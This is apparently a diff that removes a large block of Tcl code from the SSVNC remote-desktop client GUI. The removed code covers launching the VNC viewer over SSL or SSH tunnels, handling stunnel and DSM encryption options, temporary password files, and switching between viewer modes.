- if {$m != ""} {
- mesg $m
- after 1000
- }
- return $m
-
- #global svcert always_verify_ssl
- #$svcert != "" || !$always_verify_ssl
- # set m "No VeNCrypt Auto-Detection: 'Verify All Certs' disabled"
-}
-
-proc launch_unix {hp} {
- global smb_redir_0 smb_mounts env
- global vncauth_passwd use_unixpw unixpw_username unixpw_passwd
- global ssh_only ts_only use_x11cursor use_nobell use_rawlocal use_notty use_popupfix ssvnc_scale ssvnc_escape
- global ssvnc_encodings ssvnc_extra_opts
-
- globalize
-
- set cmd ""
-
- if {[regexp {^vncssh://} $hp] || [regexp {^vnc\+ssh://} $hp]} {
- set use_ssl 0
- set use_ssh 1
- sync_use_ssl_ssh
- } elseif {[regexp {^vncs://} $hp] || [regexp {^vncssl://} $hp] || [regexp {^vnc\+ssl://} $hp]} {
- set use_ssl 1
- set use_ssh 0
- sync_use_ssl_ssh
- }
- if {[regexp {^rsh:/?/?} $hp]} {
- set use_ssl 0
- set use_ssh 1
- sync_use_ssl_ssh
- }
-
- check_ssh_needed
-
- set_smb_mounts
-
- global did_port_knock
- set did_port_knock 0
- set pk_hp ""
-
- set skip_ssh 0
- set do_direct 0
-
- if [regexp {vnc://} $hp] {
- set skip_ssh 1
- set do_direct 1
- if {! [info exists env(SSVNC_NO_ENC_WARN)]} {
- direct_connect_msg
- }
- }
-
- listen_verify_all_dialog $hp
-
- if {! $do_direct} {
- if {! [check_for_listen_ssl_cert]} {
- return
- }
- }
-
- global stunnel_extra_opts0 stunnel_extra_svc_opts0
- set stunnel_extra_opts0 ""
- set stunnel_extra_svc_opts0 ""
- global ssvnc_multiple_listen0
- set ssvnc_multiple_listen0 ""
-
- if {[regexp -nocase {sslrepeater://} $hp]} {
- if {$disable_ssl_workarounds} {
- set disable_ssl_workarounds 0
- mesg "Disabling SSL workarounds for 'UVNC Single Click III Bug'"
- after 400
- }
- }
-
- if [info exists env(STUNNEL_EXTRA_OPTS)] {
- set stunnel_extra_opts0 $env(STUNNEL_EXTRA_OPTS)
- if {$disable_ssl_workarounds} {
- if {$disable_ssl_workarounds_type == "none"} {
- ;
- } elseif {$disable_ssl_workarounds_type == "noempty"} {
- set env(STUNNEL_EXTRA_OPTS) "$env(STUNNEL_EXTRA_OPTS)\noptions = DONT_INSERT_EMPTY_FRAGMENTS"
- }
- } else {
- set env(STUNNEL_EXTRA_OPTS) "$env(STUNNEL_EXTRA_OPTS)\noptions = ALL"
- }
- } else {
- if {$disable_ssl_workarounds} {
- if {$disable_ssl_workarounds_type == "none"} {
- ;
- } elseif {$disable_ssl_workarounds_type == "noempty"} {
- set env(STUNNEL_EXTRA_OPTS) "options = DONT_INSERT_EMPTY_FRAGMENTS"
- }
- } else {
- set env(STUNNEL_EXTRA_OPTS) "options = ALL"
- }
- }
- if {$stunnel_local_protection && ! $use_listen} {
- if {$stunnel_local_protection_type == "ident"} {
- set user ""
- if {[info exists env(USER)]} {
- set user $env(USER)
- } elseif {[info exists env(LOGNAME)]} {
- set user $env(USER)
- }
- if {$user != ""} {
- if [info exists env(STUNNEL_EXTRA_SVC_OPTS)] {
- set stunnel_extra_svc_opts0 $env(STUNNEL_EXTRA_SVC_OPTS)
- set env(STUNNEL_EXTRA_SVC_OPTS) "$env(STUNNEL_EXTRA_SVC_OPTS)\nident = $user"
- } else {
- set env(STUNNEL_EXTRA_SVC_OPTS) "ident = $user"
- }
- }
- } elseif {$stunnel_local_protection_type == "exec"} {
- if [info exists env(STUNNEL_EXTRA_SVC_OPTS)] {
- set stunnel_extra_svc_opts0 $env(STUNNEL_EXTRA_SVC_OPTS)
- set env(STUNNEL_EXTRA_SVC_OPTS) "$env(STUNNEL_EXTRA_SVC_OPTS)\n#stunnel-exec"
- } else {
- set env(STUNNEL_EXTRA_SVC_OPTS) "#stunnel-exec"
- }
- }
- }
- if {$ultra_dsm} {
- if {$ultra_dsm_type == "securevnc"} {
- ;
- } elseif {![file exists $ultra_dsm_file] && ![regexp {pw=} $ultra_dsm_file]} {
- mesg "DSM key file does exist: $ultra_dsm_file"
- bell
- after 1000
- return
- }
- global vncauth_passwd
- if {$ultra_dsm_file == "pw=VNCPASSWORD" || $ultra_dsm_file == "pw=VNCPASSWD"} {
- if {![info exists vncauth_passwd] || $vncauth_passwd == ""} {
- mesg "For DSM pw=VNCPASSWD you must supply the VNC Password"
- bell
- after 1000
- return
- }
- if [regexp {'} $vncauth_passwd] {
- mesg "For DSM pw=VNCPASSWD password must not contain single quotes."
- bell
- after 1000
- return
- }
- }
- set dsm "ultravnc_dsm_helper "
- if {$ultra_dsm_noultra} {
- append dsm "noultra:"
- }
- if {$use_listen} {
- append dsm "rev:"
- }
- if {$ultra_dsm_type == "guess"} {
- append dsm "."
- } else {
- append dsm $ultra_dsm_type
- }
- if {$ultra_dsm_noultra} {
- if {$ultra_dsm_salt != ""} {
- append dsm "@$ultra_dsm_salt"
- }
- }
- if {$ultra_dsm_file == "pw=VNCPASSWORD" || $ultra_dsm_file == "pw=VNCPASSWD"} {
- append dsm " pw='$vncauth_passwd'"
- } else {
- if {$ultra_dsm_file == "" && $ultra_dsm_type == "securevnc"} {
- append dsm " none"
- } else {
- append dsm " $ultra_dsm_file"
- }
- }
- set env(SSVNC_ULTRA_DSM) $dsm
- }
- if {$multiple_listen && $use_listen} {
- if [info exists env(SSVNC_MULTIPLE_LISTEN)] {
- set ssvnc_multiple_listen0 $env(SSVNC_MULTIPLE_LISTEN)
- }
- set env(SSVNC_MULTIPLE_LISTEN) "1"
- }
-
- if {$use_ssh} {
- ;
- } elseif {$use_sshssl} {
- ;
- } elseif {$use_ssl} {
- set prox [get_ssh_proxy $hp]
- if {$prox != "" && [regexp {@} $prox]} {
- mesg "Error: proxy contains '@' Did you mean to use SSH mode?"
- bell
- return
- }
- if [regexp {@} $hp] {
- mesg "Error: host contains '@' Did you mean to use SSH mode?"
- bell
- return
- }
- }
-
- if {$use_ssh || $use_sshssl} {
- if {$ssh_local_protection} {
- if {![info exists env(LIM_ACCEPT)]} {
- set env(LIM_ACCEPT) 1
- }
- if {![info exists env(LIM_ACCEPT_TIME)]} {
- set env(LIM_ACCEPT_TIME) 35
- }
- set env(SSVNC_LIM_ACCEPT_PRELOAD) "lim_accept.so"
- mesg "SSH LIM_ACCEPT($env(LIM_ACCEPT),$env(LIM_ACCEPT_TIME)): lim_accept.so"
- after 700
- }
- if {$skip_ssh || $ultra_dsm} {
- set cmd "ss_vncviewer"
- } elseif {$use_ssh} {
- set cmd "ss_vncviewer -ssh"
- } else {
- set cmd "ss_vncviewer -sshssl"
- if {$mycert != ""} {
- set cmd "$cmd -mycert '$mycert'"
- }
- if {$crlfil != ""} {
- set cmd "$cmd -crl '$crlfil'"
- }
- if {$svcert != ""} {
- set cmd "$cmd -verify '$svcert'"
- } elseif {$crtdir != "" && $crtdir != "ACCEPTED_CERTS"} {
- set cmd "$cmd -verify '$crtdir'"
- }
- }
- if {$use_listen} {
- set cmd "$cmd -listen"
- }
- if {$ssh_local_protection} {
- regsub {ss_vncviewer} $cmd "ssvnc_cmd" cmd
- }
- set hpnew [get_ssh_hp $hp]
- set proxy [get_ssh_proxy $hp]
- set sshcmd [get_ssh_cmd $hp]
-
- if {$use_sshssl} {
- if {!$do_direct} {
- set proxy [maybe_add_vencrypt $proxy $hp]
- }
- }
-
- if {$ts_only} {
- regsub {:0$} $hpnew "" hpnew
- if {$proxy == ""} {
- # XXX host_part
- if {[regexp {^([^:]*):([0-9][0-9]*)$} $hpnew mv sshhst sshpt]} {
- set proxy "$sshhst:$sshpt"
- set hpnew "localhost"
- }
- } else {
- if {![regexp {,} $proxy]} {
- if {$hpnew != "localhost"} {
- set proxy "$proxy,$hpnew"
- set hpnew "localhost"
- }
- }
- }
- }
-
-#puts hp=$hp
-#puts hpn=$hpnew
-#puts pxy=$proxy
-#puts cmd=$sshcmd
-
- set hp $hpnew
-
- if {$proxy != ""} {
- set cmd "$cmd -proxy '$proxy'"
- set pk_hp $proxy
- }
- if {$pk_hp == ""} {
- set pk_hp $hp
- }
-
- set do_pre 0
- if {$use_smbmnt} {
- set do_pre 1
- } elseif {$use_sound && $sound_daemon_kill} {
- set do_pre 1
- }
- global skip_pre
- if {$skip_pre || $skip_ssh} {
- set do_pre 0
- set skip_pre 0
- }
-
- set tag [contag]
-
- if {$do_pre} {
- do_unix_pre $tag $proxy $hp $pk_hp
- }
-
-
- set setup_cmds [ugly_setup_scripts post $tag]
-
- if {$skip_ssh} {
- set setup_cmds ""
- }
- if {$sshcmd != "SHELL" && [regexp -nocase {x11vnc} $sshcmd]} {
- global use_cups cups_x11vnc cups_remote_port
- global cups_remote_smb_port
- global use_sound sound_daemon_x11vnc sound_daemon_remote_port
- global ts_only
- if {$ts_only} {
- set cups_x11vnc 1
- set sound_daemon_x11vnc 1
- }
- if {$use_cups && $cups_x11vnc && $cups_remote_port != ""} {
- set crp $cups_remote_port
- if {$ts_only} {
- set cups_remote_port [rand_port]
- set crp "DAEMON-$cups_remote_port"
- }
- set sshcmd "$sshcmd -env FD_CUPS=$crp"
- }
- if {$use_cups && $cups_x11vnc && $cups_remote_smb_port != ""} {
- set csp $cups_remote_smb_port
- if {$ts_only} {
- set cups_remote_smb_port [rand_port]
- set csp "DAEMON-$cups_remote_smb_port"
- }
- set sshcmd "$sshcmd -env FD_SMB=$csp"
- }
- if {$use_sound && $sound_daemon_x11vnc && $sound_daemon_remote_port != ""} {
- set srp $sound_daemon_remote_port
- if {$ts_only} {
- set sound_daemon_remote_port [rand_port]
- set srp "DAEMON-$sound_daemon_remote_port"
- }
- set sshcmd "$sshcmd -env FD_ESD=$srp"
- }
- }
-
- if {$sshcmd == "SHELL"} {
- set env(SS_VNCVIEWER_SSH_CMD) {$SHELL}
- set env(SS_VNCVIEWER_SSH_ONLY) 1
- } elseif {$setup_cmds != ""} {
- if {$sshcmd == ""} {
- set sshcmd "sleep 15"
- }
- set env(SS_VNCVIEWER_SSH_CMD) "$setup_cmds$sshcmd"
- } else {
- if {$sshcmd != ""} {
- set cmd "$cmd -sshcmd '$sshcmd'"
- }
- }
-
- set sshargs ""
- if {$use_cups} {
- append sshargs [get_cups_redir]
- }
- if {$use_sound} {
- append sshargs [get_sound_redir]
- }
- if {$additional_port_redirs} {
- append sshargs [get_additional_redir]
- }
-
- set sshargs [string trim $sshargs]
- if {$skip_ssh} {
- set sshargs ""
- }
- if {$sshargs != ""} {
- set cmd "$cmd -sshargs '$sshargs'"
- set env(SS_VNCVIEWER_USE_C) 1
- } else {
- # hmm we used to have it off... why?
- # ssh typing response?
- set env(SS_VNCVIEWER_USE_C) 1
- }
- if {$sshcmd == "SHELL"} {
- set env(SS_VNCVIEWER_SSH_ONLY) 1
- if {$proxy == ""} {
- set hpt $hpnew
- # XXX host_part
- regsub {:[0-9][0-9]*$} $hpt "" hpt
- set cmd "$cmd -proxy '$hpt'"
- }
- set geometry [xterm_center_geometry]
- if {$pk_hp == ""} {
- set pk_hp $hp
- }
- if {! $did_port_knock} {
- if {! [do_port_knock $pk_hp start]} {
- reset_stunnel_extra_opts
- return
- }
- set did_port_knock 1
- }
-
- if {[regexp {FINISH} $port_knocking_list]} {
- wm withdraw .
- update
- unix_terminal_cmd $geometry "SHELL to $hp" "$cmd"
- wm deiconify .
- update
- do_port_knock $pk_hp finish
- } else {
- unix_terminal_cmd $geometry "SHELL to $hp" "$cmd" 1
- }
- set env(SS_VNCVIEWER_SSH_CMD) ""
- set env(SS_VNCVIEWER_SSH_ONLY) ""
- set env(SS_VNCVIEWER_USE_C) ""
- reset_stunnel_extra_opts
- return
- }
- } else {
- set cmd "ssvnc_cmd"
- set hpnew [get_ssh_hp $hp]
- set proxy [get_ssh_proxy $hp]
-
- if {!$do_direct && ![repeater_proxy_check $proxy]} {
- reset_stunnel_extra_opts
- return
- }
-
- if {! $do_direct && ! $ultra_dsm && ![regexp -nocase {ssh://} $hpnew]} {
- set did_check 0
- if {$mycert != ""} {
- set cmd "$cmd -mycert '$mycert'"
- }
- if {$crlfil != ""} {
- set cmd "$cmd -crl '$crlfil'"
- }
- if {$svcert != ""} {
- set cmd "$cmd -verify '$svcert'"
- } elseif {$crtdir != ""} {
- if {$crtdir == "ACCEPTED_CERTS"} {
- global skip_verify_accepted_certs
- set skip_verify_accepted_certs 0
-
- set did_check 1
- if {! [check_accepted_certs 0]} {
- reset_stunnel_extra_opts
- return
- }
- if {! $skip_verify_accepted_certs} {
- set adir [get_idir_certs ""]
- set adir "$adir/accepted"
- catch {file mkdir $adir}
- set cmd "$cmd -verify '$adir'"
- }
-
- } else {
- set cmd "$cmd -verify '$crtdir'"
- }
- }
- if {! $did_check} {
- check_accepted_certs 1
- }
- }
-
- if {!$do_direct} {
- set proxy [maybe_add_vencrypt $proxy $hp]
- }
-
- if {$proxy != ""} {
- set cmd "$cmd -proxy '$proxy'"
- }
- set hp $hpnew
- if [regexp {^.*@} $hp match] {
- catch {raise .; update}
- mesg "Trimming \"$match\" from hostname"
- after 700
- regsub {^.*@} $hp "" hp
- }
- if [regexp {@} $proxy] {
- bell
- catch {raise .; update}
- mesg "WARNING: SSL proxy contains \"@\" sign"
- after 1500
- }
- }
-
- global anon_dh_detected
- if {$anon_dh_detected || $server_anondh} {
- if {!$do_direct} {
- set cmd "$cmd -anondh"
- }
- set anon_dh_detected 0
- }
- if {$use_alpha} {
- set cmd "$cmd -alpha"
- }
- if {$use_send_clipboard} {
- set cmd "$cmd -sendclipboard"
- }
- if {$use_send_always} {
- set cmd "$cmd -sendalways"
- }
- if {$use_turbovnc} {
- set env(SSVNC_TURBOVNC) 1
- }
- if {$disable_pipeline} {
- set env(VNCVIEWER_NO_PIPELINE_UPDATES) 1
- }
- if {$ssh_known_hosts_filename != ""} {
- set env(SSVNC_KNOWN_HOSTS_FILE) $ssh_known_hosts_filename
- }
- if {$use_grab} {
- set cmd "$cmd -grab"
- }
- if {$use_x11cursor} {
- set cmd "$cmd -x11cursor"
- }
- if {$use_nobell} {
- set cmd "$cmd -nobell"
- }
- if {$use_rawlocal} {
- set cmd "$cmd -rawlocal"
- }
- if {$use_notty} {
- set env(VNCVIEWER_NOTTY) 1
- }
- if {$use_popupfix} {
- set cmd "$cmd -popupfix"
- }
- if {$ssvnc_scale != ""} {
- set cmd "$cmd -scale '$ssvnc_scale'"
- }
- if {$ssvnc_escape != ""} {
- set cmd "$cmd -escape '$ssvnc_escape'"
- }
- if {$ssvnc_encodings != ""} {
- set cmd "$cmd -ssvnc_encodings '$ssvnc_encodings'"
- }
- if {$ssvnc_extra_opts != ""} {
- set cmd "$cmd -ssvnc_extra_opts '$ssvnc_extra_opts'"
- }
- if {$rfbversion != ""} {
- set cmd "$cmd -rfbversion '$rfbversion'"
- }
- if {$vncviewer_realvnc4} {
- set cmd "$cmd -realvnc4"
- }
- if {$use_listen} {
- set cmd "$cmd -listen"
- if {$listen_once} {
- set cmd "$cmd -onelisten"
- }
- if {$listen_accept_popup} {
- if {$listen_accept_popup_sc} {
- set env(SSVNC_ACCEPT_POPUP_SC) 1
- } else {
- set env(SSVNC_ACCEPT_POPUP) 1
- }
- }
- }
-
- global darwin_cotvnc
- if {$darwin_cotvnc} {
- set env(DARWIN_COTVNC) 1
- } else {
- if [info exists env(DISPLAY)] {
- if {$env(DISPLAY) != ""} {
- set env(DARWIN_COTVNC) 0
- } else {
- set env(DARWIN_COTVNC) 1
- }
- } else {
- set env(DARWIN_COTVNC) 1
- }
- }
-
- set do_vncspacewrapper 0
- if {$change_vncviewer && $change_vncviewer_path != ""} {
- set path [string trim $change_vncviewer_path]
- if [regexp {^["'].} $path] { # "
- set tmp "/tmp/vncspacewrapper.[tpid]"
- set tmp [mytmp $tmp]
- set do_vncspacewrapper 1
- if {0} {
- catch {file delete $tmp}
- if {[file exists $tmp]} {
- catch {destroy .c}
- mesg "file still exists: $tmp"
- bell
- reset_stunnel_extra_opts
- return
- }
- }
- catch {set fh [open $tmp "w"]}
- catch {exec chmod 700 $tmp}
- if {! [file exists $tmp]} {
- catch {destroy .c}
- mesg "cannot create: $tmp"
- bell
- reset_stunnel_extra_opts
- return
- }
- puts $fh "#!/bin/sh"
- puts $fh "echo $tmp; set -xv"
- puts $fh "$path \"\$@\""
- puts $fh "sleep 1; rm -f $tmp"
- close $fh
- set path $tmp
- }
- set env(VNCVIEWERCMD) $path
- } else {
- if [info exists env(VNCVIEWERCMD_OVERRIDE)] {
- set env(VNCVIEWERCMD) $env(VNCVIEWERCMD_OVERRIDE)
- } else {
- set env(VNCVIEWERCMD) ""
- }
- }
-
- set realvnc4 $vncviewer_realvnc4
- set realvnc3 0
- set flavor ""
- if {! $darwin_cotvnc} {
- set done 0
- if {$do_vncspacewrapper} {
- if [regexp -nocase {ultra} $change_vncviewer_path] {
- set done 1
- set flavor "ultravnc"
- } elseif [regexp -nocase {chicken.of} $change_vncviewer_path] {
- set done 1
- set flavor "cotvnc"
- }
- }
- if {! $done} {
- catch {set flavor [exec ss_vncviewer -viewerflavor 2>/dev/null]}
- }
- }
- if [regexp {realvnc4} $flavor] {
- set realvnc4 1
- }
- if [regexp {tightvnc} $flavor] {
- set realvnc4 0
- }
- if [regexp {realvnc3} $flavor] {
- set realvnc4 0
- set realvnc3 1
- }
- if {$realvnc4} {
- set cmd "$cmd -realvnc4"
- }
-
- set cmd "$cmd $hp"
-
- set passwdfile ""
- if {$vncauth_passwd != ""} {
- global use_listen
- set footest [mytmp /tmp/.check.[tpid]]
- catch {file delete $footest}
- global mktemp
- set passwdfile "/tmp/.vncauth_tmp.[tpid]"
- if {$mktemp == ""} {
- set passwdfile "$env(SSVNC_HOME)/.vncauth_tmp.[tpid]"
- }
-
- set passwdfile [mytmp $passwdfile]
- catch {exec vncstorepw $vncauth_passwd $passwdfile}
- catch {exec chmod 600 $passwdfile}
- if {$use_listen} {
- global env
- set env(SS_VNCVIEWER_RM) $passwdfile
- } else {
- if {$darwin_cotvnc} {
- catch {exec sh -c "sleep 60; rm $passwdfile 2>/dev/null" &}
- } else {
- catch {exec sh -c "sleep 20; rm $passwdfile 2>/dev/null" &}
- }
- }
- if {$darwin_cotvnc} {
- set cmd "$cmd --PasswordFile $passwdfile"
- } elseif {$flavor == "unknown"} {
- ;
- } else {
- set cmd "$cmd -passwd $passwdfile"
- }
- }
-
- if {$use_viewonly} {
- if {$darwin_cotvnc} {
- set cmd "$cmd --ViewOnly"
- } elseif {$flavor == "unknown"} {
- ;
- } elseif {$flavor == "ultravnc"} {
- set cmd "$cmd /viewonly"
- } else {
- set cmd "$cmd -viewonly"
- }
- }
- if {$use_fullscreen} {
- if {$darwin_cotvnc} {
- set cmd "$cmd --FullScreen"
- } elseif {$flavor == "ultravnc"} {
- set cmd "$cmd /fullscreen"
- } elseif {$flavor == "unknown"} {
- if [regexp {vinagre} $change_vncviewer_path] {
- set cmd "$cmd -f"
- }
- } else {
- set cmd "$cmd -fullscreen"
- }
- }
- if {$use_bgr233} {
- if {$realvnc4} {
- set cmd "$cmd -lowcolourlevel 1"
- } elseif {$flavor == "ultravnc"} {
- set cmd "$cmd /8bit"
- } elseif {$flavor == "ultravnc"} {
- ;
- } elseif {$flavor == "unknown"} {
- ;
- } else {
- set cmd "$cmd -bgr233"
- }
- }
- if {$use_nojpeg} {
- if {$darwin_cotvnc} {
- ;
- } elseif {$flavor == "ultravnc"} {
- ;
- } elseif {$flavor == "unknown"} {
- ;
- } elseif {! $realvnc4 && ! $realvnc3} {
- set cmd "$cmd -nojpeg"
- }
- }
- if {! $use_raise_on_beep} {
- if {$darwin_cotvnc} {
- ;
- } elseif {$flavor == "ultravnc"} {
- ;
- } elseif {$flavor == "unknown"} {
- ;
- } elseif {! $realvnc4 && ! $realvnc3} {
- set cmd "$cmd -noraiseonbeep"
- }
- }
- if {$use_compresslevel != "" && $use_compresslevel != "default"} {
- if {$realvnc3} {
- ;
- } elseif {$flavor == "ultravnc"} {
- ;
- } elseif {$flavor == "unknown"} {
- ;
- } elseif {$realvnc4} {
- set cmd "$cmd -zliblevel '$use_compresslevel'"
- } else {
- set cmd "$cmd -compresslevel '$use_compresslevel'"
- }
- }
- if {$use_quality != "" && $use_quality != "default"} {
- if {$darwin_cotvnc} {
- ;
- } elseif {$flavor == "ultravnc"} {
- ;
- } elseif {$flavor == "unknown"} {
- ;
- } elseif {! $realvnc4 && ! $realvnc3} {
- set cmd "$cmd -quality '$use_quality'"
- }
- }
- if {$use_ssh || $use_sshssl} {
- # realvnc4 -preferredencoding zrle
- if {$darwin_cotvnc} {
- ;
- } elseif {$flavor == "ultravnc"} {
- ;
- } elseif {$flavor == "unknown"} {
- ;
- } elseif {$realvnc4} {
- set cmd "$cmd -preferredencoding zrle"
- } else {
- set cmd "$cmd -encodings 'copyrect tight zrle zlib hextile'"
- }
- }
-
- global ycrop_string
- global sbwid_string
- catch {unset env(VNCVIEWER_SBWIDTH)}
- catch {unset env(VNCVIEWER_YCROP)}
- if {[info exists ycrop_string] && $ycrop_string != ""} {
- set t $ycrop_string
- if [regexp {,sb=([0-9][0-9]*)} $t m mv1] {
- set env(VNCVIEWER_SBWIDTH) $mv1
- }
- regsub {,sb=([0-9][0-9]*)} $t "" t
- if {$t != ""} {
- set env(VNCVIEWER_YCROP) $t
- }
- }
- if {[info exists sbwid_string] && $sbwid_string != ""} {
- set t $sbwid_string
- set env(VNCVIEWER_SBWIDTH) $sbwid_string
- if {$t != ""} {
- set env(VNCVIEWER_SBWIDTH) $t
- }
- }
-
- catch {destroy .o}
- catch {destroy .oa}
- catch {destroy .os}
- update
-
- if {$use_sound && $sound_daemon_local_start && $sound_daemon_local_cmd != ""} {
- mesg "running: $sound_daemon_local_cmd"
- global sound_daemon_local_pid
- set sound_daemon_local_pid ""
- #exec sh -c "$sound_daemon_local_cmd " >& /dev/null </dev/null &
- set sound_daemon_local_pid [exec sh -c "echo \$\$; exec $sound_daemon_local_cmd </dev/null 1>/dev/null 2>/dev/null &"]
- update
- after 500
- }
-
- if {$pk_hp == ""} {
- set pk_hp $hp
- }
- if {! $did_port_knock} {
- if {! [do_port_knock $pk_hp start]} {
- wm deiconify .
- update
- reset_stunnel_extra_opts
- return
- }
- set did_port_knock 1
- }
-
- init_unixpw $hp
-
- if {! $do_direct} {
- vencrypt_tutorial_mesg
- }
-
- wm withdraw .
- update
-
- set geometry [xterm_center_geometry]
- set xrm1 "*.srinterCommand:true"
- set xrm2 $xrm1
- set xrm3 $xrm1
- if {[info exists env(SSVNC_GUI_CMD)]} {
- set xrm1 "*.printerCommand:env XTERM_PRINT=1 $env(SSVNC_GUI_CMD)"
- set xrm2 "XTerm*VT100*translations:#override Shift<Btn3Down>:print()\\nCtrl<Key>N:print()"
- set xrm3 "*mainMenu*print*Label: New SSVNC_GUI"
- }
- set m "Done. You Can X-out or Ctrl-C this Terminal if you like. Use Ctrl-\\\\ to pause."
- global uname
- if {$uname == "Darwin"} {
- regsub {X-out or } $m "" m
- }
- set te "set -xv; "
- if {$ts_only} {
- set te ""
- }
-
- global extra_sleep
- set ssvnc_extra_sleep_save ""
- if {$extra_sleep != ""} {
- if [info exists env(SSVNC_EXTRA_SLEEP)] {
- set ssvnc_extra_sleep_save $env(SSVNC_EXTRA_SLEEP)
- }
- set env(SSVNC_EXTRA_SLEEP) $extra_sleep
- }
-
- set sstx "SSL/SSH VNC Viewer"
- set hptx $hp
- global use_listen
- if {$use_listen} {
- set sstx "SSVNC"
- set hptx "$hp (Press Ctrl-C to Stop Listening)"
- }
-
-
- set s1 5
- set s2 4
- if [info exists env(SSVNC_FINISH_SLEEP)] {
- set s1 $env(SSVNC_FINISH_SLEEP);
- set s2 $s1
- }
-
- unix_terminal_cmd $geometry "$sstx $hptx" \
- "$te$cmd; set +xv; ulimit -c 0; trap 'printf \"Paused. Press Enter to exit:\"; read x' QUIT; echo; echo $m; echo; echo sleep $s1; echo; sleep $s2" 0 $xrm1 $xrm2 $xrm3
-
- set env(SS_VNCVIEWER_SSH_CMD) ""
- set env(SS_VNCVIEWER_USE_C) ""
-
- if {$extra_sleep != ""} {
- if {$ssvnc_extra_sleep_save != ""} {
- set env(SSVNC_EXTRA_SLEEP) $ssvnc_extra_sleep_save
- } else {
- catch {unset env(SSVNC_EXTRA_SLEEP)}
- }
- }
-
- if {$use_sound && $sound_daemon_local_kill && $sound_daemon_local_cmd != ""} {
- # XXX need to kill just one...
- set daemon [string trim $sound_daemon_local_cmd]
- regsub {^gw[ \t]*} $daemon "" daemon
- regsub {[ \t].*$} $daemon "" daemon
- regsub {^.*/} $daemon "" daemon
- mesg "killing sound daemon: $daemon"
- global sound_daemon_local_pid
- if {$sound_daemon_local_pid != ""} {
-#puts pid=$sound_daemon_local_pid
- catch {exec sh -c "kill $sound_daemon_local_pid" >/dev/null 2>/dev/null </dev/null &}
- incr sound_daemon_local_pid
- catch {exec sh -c "kill $sound_daemon_local_pid" >/dev/null 2>/dev/null </dev/null &}
- set sound_daemon_local_pid ""
- } elseif {$daemon != ""} {
- catch {exec sh -c "killall $daemon" >/dev/null 2>/dev/null </dev/null &}
- catch {exec sh -c "pkill -x $daemon" >/dev/null 2>/dev/null </dev/null &}
- }
- }
- if {$passwdfile != ""} {
- catch {file delete $passwdfile}
- }
- wm deiconify .
- mac_raise
- mesg "Disconnected from $hp"
- if {[regexp {FINISH} $port_knocking_list]} {
- do_port_knock $pk_hp finish
- }
-
- reset_stunnel_extra_opts
-
- fini_unixpw
-}
-
-proc kill_stunnel {pids} {
- set count 0
- foreach pid $pids {
- mesg "killing STUNNEL pid: $pid"
- winkill $pid
- if {$count == 0} {
- after 600
- } else {
- after 300
- }
- incr count
- }
-}
-
-proc get_task_list {} {
- global is_win9x
-
- set output1 ""
- set output2 ""
- if {! $is_win9x} {
- # try for tasklist on XP pro
- catch {set output1 [exec tasklist.exe]}
- }
- catch {set output2 [exec w98/tlist.exe]}
-
- set output $output1
- append output "\n"
- append output $output2
-
- return $output
-}
-
-proc note_stunnel_pids {when} {
- global is_win9x pids_before pids_after pids_new
-
- if {$when == "before"} {
- array unset pids_before
- array unset pids_after
- set pids_new {}
- set pids_before(none) "none"
- set pids_after(none) "none"
- }
-
- set output [get_task_list]
-
- foreach line [split $output "\n\r"] {
- set m 0
- if [regexp -nocase {stunnel} $line] {
- set m 1
- } elseif [regexp -nocase {connect_br} $line] {
- set m 1
- }
- if {$m} {
- if [regexp {(-?[0-9][0-9]*)} $line m p] {
- if {$when == "before"} {
- set pids_before($p) $line
- } else {
- set pids_after($p) $line
- }
- }
- }
- }
- if {$when == "after"} {
- foreach new [array names pids_after] {
- if {! [info exists pids_before($new)]} {
- lappend pids_new $new
- }
- }
- }
-}
-
-proc del_launch_windows_ssh_files {} {
- global launch_windows_ssh_files
- global env
-
- if {[info exists env(SSVNC_NO_DELETE)]} {
- return
- }
-
- if {$launch_windows_ssh_files != ""} {
- foreach tf [split $launch_windows_ssh_files] {
- if {$tf == ""} {
- continue
- }
- catch {file delete $tf}
- }
- }
-}
-
-proc launch_shell_only {} {
- global is_windows
- global skip_pre
- global use_ssl use_ssh use_sshssl
-
- set hp [get_vncdisplay]
- regsub {cmd=.*$} $hp "" hp
- set hp [string trim $hp]
- if {$is_windows} {
- append hp " cmd=PUTTY"
- } else {
- append hp " cmd=SHELL"
- }
- set use_ssl_save $use_ssl
- set use_ssh_save $use_ssh
- set use_sshssl_save $use_sshssl
- set skip_pre 1
- if {! $use_ssh && ! $use_sshssl} {
- set use_ssh 1
- set use_ssl 1
- }
- launch $hp
-
- set use_ssl $use_ssl_save
- set use_ssh $use_ssh_save
- set use_sshssl $use_sshssl_save
-}
-
-proc to_sshonly {} {
- global ssh_only ts_only env
- global showing_no_encryption
- #if {$showing_no_encryption} {
- # toggle_no_encryption
- #}
- if {$ssh_only && !$ts_only} {
- return
- }
- if {[info exists env(SSVNC_TS_ALWAYS)]} {
- return
- }
- set ssh_only 1
- set ts_only 0
-
- set t "SSH VNC Viewer"
- wm title . $t
- catch {pack forget .f4}
- catch {pack forget .b.certs}
- catch {.l configure -text $t}
-
- global vncdisplay vncauth_passwd unixpw_username vncproxy remote_ssh_cmd
- set vncdisplay ""
- set vncauth_passwd ""
- set unixpw_username ""
- set vncproxy ""
- set remote_ssh_cmd ""
-
- set_defaults
-}
-
-proc toggle_tsonly {} {
- global ts_only env
- if {$ts_only} {
- if {![info exists env(SSVNC_TS_ALWAYS)]} {
- to_ssvnc
- }
- } else {
- to_tsonly
- }
-}
-
-proc toggle_sshonly {} {
- global ssh_only env
- if {$ssh_only} {
- to_ssvnc
- } else {
- to_sshonly
- }
-}
-
-proc to_tsonly {} {
- global ts_only
- global showing_no_encryption
- #if {$showing_no_encryption} {
- # toggle_no_encryption
- #}
- if {$ts_only} {
- return
- }
- set ts_only 1
- set ssh_only 1
-
- set t "Terminal Services VNC Viewer"
- wm title . $t
- catch {pack forget .f4}
- catch {pack forget .f3}
- catch {pack forget .f1}
- catch {pack forget .b.certs}
- catch {.l configure -text $t}
- catch {.f0.l configure -text "VNC Terminal Server:"}
-
- global vncdisplay vncauth_passwd unixpw_username vncproxy remote_ssh_cmd
- set vncdisplay ""
- set vncauth_passwd ""
- set unixpw_username ""
- set vncproxy ""
- set remote_ssh_cmd ""
-
- set_defaults
-}
-
-proc to_ssvnc {} {
- global ts_only ssh_only env
-
- if {!$ts_only && !$ssh_only} {
- return;
- }
- if {[info exists env(SSVNC_TS_ALWAYS)]} {
- return
- }
- set ts_only 0
- set ssh_only 0
-
- set t "SSL/SSH VNC Viewer"
- wm title . $t
- catch {pack configure .f1 -after .f0 -side top -fill x}
- catch {pack configure .f3 -after .f2 -side top -fill x}
- catch {pack configure .f4 -after .f3 -side top -fill x}
